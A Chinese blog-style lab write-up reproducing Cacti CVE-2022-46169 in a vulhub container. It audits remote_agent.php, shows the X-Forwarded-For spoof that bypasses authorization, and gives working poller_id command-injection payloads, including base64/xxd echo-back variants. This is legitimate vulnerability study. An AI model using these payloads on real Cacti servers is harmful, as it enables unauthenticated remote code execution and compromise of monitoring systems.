cacti漏洞CVE-2022-46169复现
目录
1. 环境搭建
1.1 拉取
1.2 启动容器
1.3 配置断点调试
2. 代码审计
2.1 远程客户端授权
2.2 可能的命令执行处
2.3 poll_for_data
2.4 绕过授权
2.5 再探 poll_for_data
3. 思路与结果
3.1 思路
3.2 结果
4. 进一步,实现回显
4.1 分析
4.2 构造与结果
4.3 结果
5. 总结
1. 环境搭建
1.1 拉取
在 GitHub
上复制链接地址 vulhub。
git clone https://github.com/vulhub/vulhub
拉取成功后,就能在本地看到 vulhub
文件夹:
1.2 启动容器
进入 vulhub
文件夹内部的 cacti
文件内夹的 CVE-2022-46169
文件夹,在这里面输入命令:
docker-compose up -d
回显两个 done
就表示启动成功了,然后浏览器访问即可
192.168.142.140:8080
然后按照引导一步一步安装就ok了。
1.3 配置断点调试
首先物理机的 VScode 要安装好以下插件: Remote-ssh
、Docker
、dev containers
。 在使用 Vcode
远程连接虚拟机,连接容器的时候需要用到。
以上插件安装好之后的具体步骤如下:
-
进入容器:
-
docker exec -it
-
-
安装指定版本的 Xdebug:
-
pecl install xdebug-3.1.6
。这个版本的确定是通过一个<?php phpinfo();
,这里就不赘述了。
-
-
启用 xdebug 扩展:
-
docker-php-ext-enable xdebug
-
-
-
重启容器:
-
docker restart
-
-
编辑
.ini
文件:-
/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
,添加如下内容: zend_extension=xdebug xdebug.mode=debug xdebug.start_with_request=yes
-
-
使用
VScode
连接容器后,为容器安装Xdebug
插件 -
测试:
-
以上工作做完,环境就搭建好了,接下来就是代码审计了。
-
2. 代码审计
我们看官方给出的解法中,重点文件是 remote_agent.php
那我们就一点一点来审计一下这个文件,看一下问题出在哪里。由于文件太长,以下分析只截取部分代码,感兴趣的小伙伴可以按上述搭建坏境的方式或者直接取 GitHub
上分析源码。
2.1 远程客户端授权
if (!remote_client_authorized()) { print \'FATAL: You are not authorized to use this service\'; exit; }
看函数名称就知道。这是一个权限的识别,如果没有这个权限,就直接 GG 了。而攻击者作为普通用户是肯定没有这个权限的,所以这里需要绕过,但是怎么绕过呢?还不知道,继续往下看。
2.2 可能的命令执行处
switch (get_request_var(\'action\')) { case \'polldata\': // Only let realtime polling run for a short time ini_set(\'max_execution_time\', read_config_option(\'script_timeout\')); debug(\'Start: Poling Data for Realtime\'); poll_for_data(); debug(\'End: Poling Data for Realtime\'); break; case \'runquery\': debug(\'Start: Running Data Query\'); run_remote_data_query(); debug(\'End: Running Data Query\'); break; case \'ping\': debug(\'Start: Pinging Device\'); ping_device(); debug(\'End: Pinging Device\'); break; case \'snmpget\': debug(\'Start: Performing SNMP Get Request\'); get_snmp_data(); debug(\'End: Performing SNMP Get Request\'); break; case \'snmpwalk\': debug(\'Start: Performing SNMP Walk Request\'); get_snmp_data_walk(); debug(\'End: Performing SNMP Walk Request\'); break; case \'graph_json\': debug(\'Start: Performing Graph Request\'); get_graph_data(); debug(\'End: Performing Graph Request\'); break; case \'discover\': debug(\'Start:Performing Network Discovery Request\'); run_remote_discovery(); debug(\'End:Performing Network Discovery Request\'); break; default: if (!api_plugin_hook_function(\'remote_agent\', get_request_var(\'action\'))) { debug(\'WARNING: Unknown Agent Request\'); print \'Unknown Agent Request\'; } } function get_request_var($name, $default = \'\') { global $_CACTI_REQUEST; $log_validation = read_config_option(\'log_validation\'); if (isset($_CACTI_REQUEST[$name])) { return $_CACTI_REQUEST[$name]; } elseif (isset_request_var($name)) { if ($log_validation == \'on\') { html_log_input_error($name); } set_request_var($name, $_REQUEST[$name]); return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行 } else { return $default; } }
为什么说是可能呢?因为这里的 action
使用的是 get
传参得到的,一般来说,get
传参用户可控,我们的命令大概就是在这里写入的,而且从函数名称来看,大概率是在函数 poll_for_data
触发的,轮询数据,有点把数据一个一个查出来的意思。如果真是它的话,用户的可控参数就要这样写了: action=polldata
接下来我们来看看这个函数。
2.3 poll_for_data
function ping_device() { $host_id = get_filter_request_var(\'host_id\'); api_device_ping_device($host_id, true); } function poll_for_data() { global $config; $local_data_ids = get_nfilter_request_var(\'local_data_ids\'); $host_id = get_filter_request_var(\'host_id\'); $poller_id = get_nfilter_request_var(\'poller_id\'); $return = array(); $i = 0; if (cacti_sizeof($local_data_ids)) { foreach($local_data_ids as $local_data_id) { input_validate_input_number($local_data_id); $items = db_fetch_assoc_prepared(\'SELECT * FROM poller_item WHERE host_id = ? AND local_data_id = ?\', array($host_id, $local_data_id)); $script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*) FROM poller_item WHERE host_id = ? AND local_data_id = ? AND action = 2\', array($host_id, $local_data_id)); if (cacti_sizeof($items)) { foreach($items as $item) { switch ($item[\'action\']) { case POLLER_ACTION_SNMP: /* snmp */ if (($item[\'snmp_version\'] == 0) || (($item[\'snmp_community\'] == \'\') && ($item[\'snmp_version\'] != 3))) { $output = \'U\'; } else { $host = db_fetch_row_prepared(\'SELECT ping_retries, max_oids FROM host WHERE hostname = ?\', array($item[\'hostname\'])); $session = cacti_snmp_session($item[\'hostname\'], $item[\'snmp_community\'], $item[\'snmp_version\'], $item[\'snmp_username\'], $item[\'snmp_password\'], $item[\'snmp_auth_protocol\'], $item[\'snmp_priv_passphrase\'], $item[\'snmp_priv_protocol\'], $item[\'snmp_context\'], $item[\'snmp_engine_id\'], $item[\'snmp_port\'], $item[\'snmp_timeout\'], $host[\'ping_retries\'], $host[\'max_oids\']); if ($session === false) { $output = \'U\'; } else { $output = cacti_snmp_session_get($session, $item[\'arg1\']); $session->close(); } if (prepare_validate_result($output) === false) { if (strlen($output) > 20) { $strout = 20; } else { $strout = strlen($output); } $output = \'U\'; } } $return[$i][\'value\'] = $output; $return[$i][\'rrd_name\'] = $item[\'rrd_name\']; $return[$i][\'local_data_id\'] = $local_data_id; break; case POLLER_ACTION_SCRIPT: /* script (popen) */ $output = trim(exec_poll($item[\'arg1\'])); if (prepare_validate_result($output) === false) { if (strlen($output) > 20) { $strout = 20; } else { $strout = strlen($output); } $output = \'U\'; } $return[$i][\'value\'] = $output; $return[$i][\'rrd_name\'] = $item[\'rrd_name\']; $return[$i][\'local_data_id\'] = $local_data_id; break; case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */ $cactides = array( 0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from 1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to 2 => array(\'pipe\', \'w\') // stderr is a pipe to write to ); if (function_exists(\'proc_open\')) { $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true; } else { $using_proc_function = false; } if ($using_proc_function == true) { $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp))); if (prepare_validate_result($output) === false) { if (strlen($output) > 20) { $strout = 20; } else { $strout = strlen($output); } $output = \'U\'; } } else { $output = \'U\'; } $return[$i][\'value\'] = $output; $return[$i][\'rrd_name\'] = $item[\'rrd_name\']; $return[$i][\'local_data_id\'] = $local_data_id; if (($using_proc_function == true) && ($script_server_calls > 0)) { /* close php server process */ fwrite($pipes[0], \"quit\\r\\n\"); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($cactiphp); } break; } $i++; } } } } print json_encode($return); }
迎面而来的是三个请求,第一个看起来还是一个数组。经过
debug
查看,还真是一个数组。
之后,对这个数组进行一个判断,判断之后是一个查询。 再查询的时候,出现了一个函数 proc_open
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */ $cactides = array( 0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from 1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to 2 => array(\'pipe\', \'w\') // stderr is a pipe to write to ); if (function_exists(\'proc_open\')) { $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true; } else { $using_proc_function = false; }
这个函数就有说法了,它会执行命令,具体查看官方文档
再往下看似乎就没有太多头绪了,那我们回来,继续分析那个授权函数,看看怎么绕过它。
2.4 绕过授权
function remote_client_authorized() { global $poller_db_cnn_id; /* don\'t allow to run from the command line */ $client_addr = get_client_addr(); if ($client_addr === false) { return false; } if (!filter_var($client_addr, FILTER_VALIDATE_IP)) { cacti_log(\'ERROR: Invalid remote agent client IP Address. Exiting\'); return false; } $client_name = gethostbyaddr($client_addr); if ($client_name == $client_addr) { cacti_log(\'NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM); } else { $client_name = remote_agent_strip_domain($client_name); } $pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id); if (cacti_sizeof($pollers)) { foreach($pollers as $poller) { if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) { return true; } elseif ($poller[\'hostname\'] == $client_addr) { return true; } } } cacti_log(\"Unauthorized remote agent access attempt from $client_name ($client_addr)\"); return false;}
这里先获取了用户的IP地址,那继续看这个获取IP地址的函数
function get_client_addr($client_addr = false) { $http_addr_headers = array( \'X-Forwarded-For\', \'X-Client-IP\', \'X-Real-IP\', \'X-ProxyUser-Ip\', \'CF-Connecting-IP\', \'True-Client-IP\', \'HTTP_X_FORWARDED\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'HTTP_CLIENT_IP\', \'REMOTE_ADDR\', ); $client_addr = false; foreach ($http_addr_headers as $header) { if (!empty($_SERVER[$header])) { $header_ips = explode(\',\', $_SERVER[$header]); foreach ($header_ips as $header_ip) { if (!empty($header_ip)) { if (!filter_var($header_ip, FILTER_VALIDATE_IP)) { cacti_log(\'ERROR: Invalid remote client IP Address found in header (\' . $header . \').\', false, \'AUTH\', POLLER_VERBOSITY_DEBUG); } else { $client_addr = $header_ip; cacti_log(\'DEBUG: Using remote client IP Address found in header (\' . $header . \'): \' . $client_addr . \' (\' . $_SERVER[$header] . \')\', false, \'AUTH\', POLLER_VERBOSITY_DEBUG); break 2; } } } } } return $client_addr;}
这里看起来是这样的:
-
从请求头这个数组里面一个一个关键字的取,看在哪里取出客户端IP地址
-
取出IP地址之后使用函数
filter_var
来验证地址是否合法。 -
如果IP地址合法就会执行
break 2
这部分。 而这里的break 2
是有问题的,假设是break
,那就会跳出内层的for
循坏,这样的话外层的for
循环还会继续取IP地址,就会导致死循环;而使用break 2
会直接跳出两层循环,只要拿到一个合法的IP就会这样做,但是请注意,header
头里面的内容是可以伪造的,如果我们伪造出一个IP,然后break 2
,那会怎么样呢?
再回到函数 remote_client_authorized
$client_name = gethostbyaddr($client_addr);
它这里就会把得到的IP地址转换为 Hostname
。假设我们伪造的是 127.0.0.1
,那么转化就是 localhost
。
localhost
在这里判断:
if ($client_name == $client_addr) { cacti_log(\'NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM); } else { $client_name = remote_agent_strip_domain($client_name); }
由于localhost != 127.0.0.1
,所以就会进入函数 remote_agent_strip_domain
function remote_agent_strip_domain($host) { if (strpos($host, \'.\') !== false) { $parts = explode(\'.\', $host); return $parts[0]; } else { return $host; }}
这里传过来的是 client_name
,它现在是 localhost
,由于没有 .
所以会直接返回它本身。然后进行下一个判断:
$pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id); if (cacti_sizeof($pollers)) { foreach($pollers as $poller) { if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) { return true; } elseif ($poller[\'hostname\'] == $client_addr) { return true; } } }
把这个返回值与数据库里查出来的 hostname
比对,相等就会返回 ture
,返回 ture
就能绕过一开始的远程客户授权,绕过这个就能使用命令执行。 至于数据表 poller
里面的 hostname
到底是不是 localhost
呢,是的。
那么现在我们再来看一下 poll_for_data
函数.
2.5 再探 poll_for_data
function ping_device() { $host_id = get_filter_request_var(\'host_id\'); api_device_ping_device($host_id, true);}function poll_for_data() { global $config; $local_data_ids = get_nfilter_request_var(\'local_data_ids\'); $host_id = get_filter_request_var(\'host_id\'); $poller_id = get_nfilter_request_var(\'poller_id\'); $return = array(); $i = 0; if (cacti_sizeof($local_data_ids)) { foreach($local_data_ids as $local_data_id) { input_validate_input_number($local_data_id); $items = db_fetch_assoc_prepared(\'SELECT * FROM poller_item WHERE host_id = ? AND local_data_id = ?\', array($host_id, $local_data_id)); $script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*) FROM poller_item WHERE host_id = ? AND local_data_id = ? AND action = 2\', array($host_id, $local_data_id)); if (cacti_sizeof($items)) { foreach($items as $item) { switch ($item[\'action\']) { case POLLER_ACTION_SNMP: /* snmp */ if (($item[\'snmp_version\'] == 0) || (($item[\'snmp_community\'] == \'\') && ($item[\'snmp_version\'] != 3))) { $output = \'U\'; } else { $host = db_fetch_row_prepared(\'SELECT ping_retries, max_oids FROM host WHERE hostname = ?\', array($item[\'hostname\'])); $session = cacti_snmp_session($item[\'hostname\'], $item[\'snmp_community\'], $item[\'snmp_version\'], $item[\'snmp_username\'], $item[\'snmp_password\'], $item[\'snmp_auth_protocol\'], $item[\'snmp_priv_passphrase\'], $item[\'snmp_priv_protocol\'], $item[\'snmp_context\'], $item[\'snmp_engine_id\'], $item[\'snmp_port\'], $item[\'snmp_timeout\'], $host[\'ping_retries\'], $host[\'max_oids\']); if ($session === false) { $output = \'U\'; } else { $output = cacti_snmp_session_get($session, $item[\'arg1\']); $session->close(); } if (prepare_validate_result($output) === false) { if (strlen($output) > 20) { $strout = 20; } else { $strout = strlen($output); } $output = \'U\'; } } $return[$i][\'value\'] = $output; $return[$i][\'rrd_name\'] = $item[\'rrd_name\']; $return[$i][\'local_data_id\'] = $local_data_id; break; case POLLER_ACTION_SCRIPT: /* script (popen) */ $output = trim(exec_poll($item[\'arg1\'])); if (prepare_validate_result($output) === false) { if (strlen($output) > 20) { $strout = 20; } else { $strout = strlen($output); } $output = \'U\'; } $return[$i][\'value\'] = $output; $return[$i][\'rrd_name\'] = $item[\'rrd_name\']; $return[$i][\'local_data_id\'] = $local_data_id; break; case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */ $cactides = array( 0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from 1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to 2 => array(\'pipe\', \'w\') // stderr is a pipe to write to ); if (function_exists(\'proc_open\')) { $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true; } else { $using_proc_function = false; } if ($using_proc_function == true) { $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp))); if (prepare_validate_result($output) === false) { if (strlen($output) > 20) { $strout = 20; } else { $strout = strlen($output); } $output = \'U\'; } } else { $output = \'U\'; } $return[$i][\'value\'] = $output; $return[$i][\'rrd_name\'] = $item[\'rrd_name\']; $return[$i][\'local_data_id\'] = $local_data_id; if (($using_proc_function == true) && ($script_server_calls > 0)) { /* close php server process */ fwrite($pipes[0], \"quit\\r\\n\"); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($cactiphp); } break; } $i++; } } } } print json_encode($return);}
它这里是这样的:
-
根据用户的输入查询数据库的
poller_item
表,把所有的数据拿出来 -
使用
for
循坏,拿数据里面的action
对应的值 -
根据
action
的值执行响应的函数 当然,这里有两个过滤函数:
function get_nfilter_request_var($name, $default = \'\') { global $_CACTI_REQUEST; if (isset($_CACTI_REQUEST[$name])) { return $_CACTI_REQUEST[$name]; } elseif (isset($_REQUEST[$name])) { return $_REQUEST[$name]; } else { return $default; }}
另一个函数太长就不展示了,但是两个函数其实并没有过滤什么。
好,再回来,刚刚也说了,proc_open
这个函数很有说法,而想要在执行这个函数,需要满足的条件是 那么就需要
action = 2
才行。 通过查询 poller_item
,得到以下内容: 第六条的
action=2
。这样一来就清晰了呀。
3. 思路与结果
3.1 思路
-
伪造IP绕过远程客户授权
-
使用关键字
X-Forwarded-For
伪造IP为127.0.0.1
。然后这个IP被转化为localhost
,它再与127.0.0.1
比较,由于不相等,会调用函数remote_agent_strip_domain
,这个函数判断localhost
,由于localhost
没有.
,所以函数直接返回localhost
本身。然后它再与从数据表poller
查到的关键字hostname
的值比对。由于二者相等,所以会返回ture
,返回ture
就绕过了远程客户授权。
-
-
想办法走到函数
proc_open
-
想要走到这个函数,就要先走到
poll_for_data
函数,想要走到它,那么我们可控的参数就要这样写action=polldata
,进入这个函数之后,它会根据用户的输入来查询数据表poller_item
的数据,然后使用循环,把数据表里的action
的值取出来,如果这个action=2
,就会走到函数proc_open
。走到这个函数的话,它就会执行我们写在这个参数poller_id
里的命令。注意,这里的两个action
不一样,不要搞混了。 这样一来就成功RCE了。
-
那么现在的问题就是怎么构造攻击语句了。 通过 poll_for_data
函数我们知道。主要的参数就是这三个:
$local_data_ids = get_nfilter_request_var(\'local_data_ids\'); $host_id = get_filter_request_var(\'host_id\'); $poller_id = get_nfilter_request_var(\'poller_id\');
local_data_ids
:它需要传入一个数组,这个已经通过 debug
确认它就是一个数组了。这个数组只有一个内容而且要对应数据表 poller_item
的第六条数据,也就是要输入 6。
host_id
:这个id不影响
poller_id
:这个是我们的POC,它会被带到函数 proc_open
执行(反引号的作用)。
所以我们的 payload
就可以这样构造:
action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
3.2 结果
然后我们在 /tmp/
目录下查看一下是否成功创建了文件 success
4. 进一步,实现回显
这个环境如果不下一点功夫的话是不会有回显的,接下来我们就把回显给搞定。
4.1 分析
首先来看一下这里
if (function_exists(\'proc_open\')) { $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true;
这里就是我们的payload执行的地方,由于有函数 proc_open
。执行完毕之后,它会把内容放到管道 pipes
里,然后使用标准输出读取内容。也就是 fgets
,把读取的结果给到 output
然后以 json
格式打印出来。但是这里只读取了1024字节,也就是一行,不一定能读到我们命令执行的结果。
那怎么办呢?有没有读取超过一行的操作呢?继续往下看:
if (function_exists(\'proc_open\')) { $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true; } else { $using_proc_function = false; } if ($using_proc_function == true) { $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));
这里读取一行之后,给using_proc_function
赋值一个ture
,然后放到函数exec_poll_php
处理,这里会不会读取超过一行呢?看一下:
function exec_poll_php($command, $using_proc_function, $pipes, $proc_fd) { global $config; $output = \'\'; /* execute using php process */ if ($using_proc_function == 1) { if (is_resource($proc_fd)) { /* $pipes now looks like this: * 0 => writeable handle connected to child stdin * 1 => readable handle connected to child stdout * 2 => any error output will be sent to child stderr */ /* send command to the php server */ fwrite($pipes[0], $command . \"\\r\\n\"); fflush($pipes[0]); $output = fgets($pipes[1], 8192); if (substr_count($output, \'ERROR\') > 0) { $output = \'U\'; } } /* execute the old fashion way */ } else { /* formulate command */ $command = read_config_option(\'path_php_binary\') . \' \' . $command; if (function_exists(\'popen\')) { if ($config[\'cacti_server_os\'] == \'unix\') { $fp = popen($command, \'r\'); } else { $fp = popen($command, \'rb\'); } /* return if the popen command was not successful */ if (!is_resource($fp)) { cacti_log(\'WARNING; Problem with POPEN command.\', false, \'POLLER\'); return \'U\'; } $output = fgets($fp, 8192); pclose($fp); } else { $output = `$command`; } } return $output;}
在这里,它把管道输出读取了 8192
字节,读取这么多,肯定有我们命令的回显。那下一个问题就是怎么利用它了。 回到这里:
if (function_exists(\'proc_open\')) { $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true; } else { $using_proc_function = false; } if ($using_proc_function == true) { $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));
读取 8192
字节之后,把换行符的替换为空格,然后交给函数 prepare_validate_result
处理,如果这个函数处理的结果是 false
的话,返回的结果是 U
这不行,那要怎么绕过呢? 看一下这个函数:
function prepare_validate_result(&$result) { /* first trim the string */ $result = trim($result, \"\'\\\"\\n\\r\"); /* clean off ugly non-numeric data */ if (is_numeric($result)) { dsv_log(\'prepare_validate_result\',\'data is numeric\'); return true; } elseif ($result == \'U\') { dsv_log(\'prepare_validate_result\', \'data is U\'); return true; } elseif (is_hexadecimal($result)) { dsv_log(\'prepare_validate_result\', \'data is hex\'); return hexdec($result); } elseif (substr_count($result, \':\') || substr_count($result, \'!\')) { /* looking for name value pairs */ if (substr_count($result, \' \') == 0) { dsv_log(\'prepare_validate_result\', \'data has no spaces\'); return true; } else { $delim_cnt = 0; if (substr_count($result, \':\')) { $delim_cnt = substr_count($result, \':\'); } elseif (strstr($result, \'!\')) { $delim_cnt = substr_count($result, \'!\'); } $space_cnt = substr_count(trim($result), \' \'); dsv_log(\'prepare_validate_result\', \"data has $space_cnt spaces and $delim_cnt fields which is \" . (($space_cnt+1 == $delim_cnt) ? \'NOT \' : \'\') . \' okay\'); return ($space_cnt+1 == $delim_cnt); } } else { $result = strip_alpha($result); if ($result === false) { $result = \'U\'; return false; } else { return true; } }}
这个函数首先把结果中的换行给去掉了,然后再处理。前面两个处理对我们来说作用不大,主要是这个函数 is_hexadecimal
:
function is_hexadecimal($result) { $hexstr = str_replace(array(\' \', \'-\'), \':\', trim($result)); $parts = explode(\':\', $hexstr); foreach($parts as $part) { if (strlen($part) != 2) { return false; } if (ctype_xdigit($part) == false) { return false; } } return true;}
这个函数,它首先把空格、-
替换为:
,然后根据 :
把结果分割为数组,然后判断数组元素的长度是否为2,然后再判断元素是否为16进制,如果都满足,就返回 ture
。
这样我们就有了一个判断,我们的命令执行结果要满足以下条件:
-
必须是16进制
-
最好是空格隔开
-
而且是一行出现,不是换行出现。
-
满足以上条件的命令是这样的:
id | xxd -p -c 1 |awk \'{printf \"%s \",$0}\'
。但是这个命令依赖xxd
,如果环境没有这个命令就很麻烦。 -
那么基于以上判断,我们再看函数
prepare_validate_result
,似乎不一定需要16进制。
elseif (substr_count($result, \':\') || substr_count($result, \'!\')) { /* looking for name value pairs */ if (substr_count($result, \' \') == 0) { dsv_log(\'prepare_validate_result\', \'data has no spaces\'); return true; }
如果我们命令执行的结果有 :
或者 !
,那就会进入下一层判断,如果我们的结果没有空格,那就会直接返回 ture
。这样似乎更简单,使用 bse64
就可以满足,而且还规避了环境没有 xxd
命令的影响
4.2 构造与结果
基于以上分析,要怎么构造payload呢?这样:
1. |echo \"test\\r\\n`id | xxd -p -c 1 |awk \'{printf \\\"%s \\\", $0}\'`\";2. |echo \"test\\r\\n :`id | base64 -w0`\";3. |echo \"test\\r\\n`id | base64 -w0 |awk -v ORS=\':\' \'{printf $0}\'`\";
这里以第二条为例
编码命令:
执行:
4.3 结果
5. 总结
至此,RCE漏洞CVE-2022-46169的复现就做完了,而且还在原来解题的基础上把回显也做出来了。